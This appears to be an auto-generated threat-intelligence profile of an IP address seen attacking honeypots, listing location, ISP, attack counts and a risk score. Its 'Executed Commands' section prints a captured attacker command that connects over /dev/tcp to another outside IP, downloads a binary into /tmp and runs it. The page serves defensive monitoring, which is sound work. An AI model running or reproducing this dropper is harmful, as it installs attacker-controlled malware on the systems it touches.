Active Threat • LOW
198.176.61.249
Country of Origin🇭🇰 Hong Kong
First Detection2/16/2026
Last Activity2/16/2026
ISPHong Kong Communications International Co., Limited
🎯
15
Total Attacks
🔌
2
Ports
📡
2
Attack Types
🦠
1
Malware
Geolocation
- Country
- 🇭🇰 Hong Kong
- City
- Hong Kong
- ASN
- AS140227
- ISP
- Hong Kong Communications International Co., Limited
Attack Types
cowrie
redishoneypot
Attacked Ports
226379
Associated Malware
Executed Commands
$
nohup bash -c "exec 6<>/dev/tcp/23.249.28.118/60132 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/4xtkrciMgA && chmod +x /tmp/4xtkrciMgA && /tmp/4xtkrciMgA BMa2TuH7dbqK2jjGlbJ58/lNtdV3Zde1SeH7cLaK2TnbirJz8/lNtdRxZde9ReH4drWK3jHGlrd48/lNtdV0ZdexT+H4crWK2jLfirJz//VLtNd3dca1TPvnc7KRxjHRl61w+/VLtNd3cca2TuH7dbqK2jjGlbJ58/lNtdV3UfXBZr4FgY6V40gLMQ3AzHEbRRMUMyY=" &1xRisk Assessment
35
/100
LowMediumHighCritical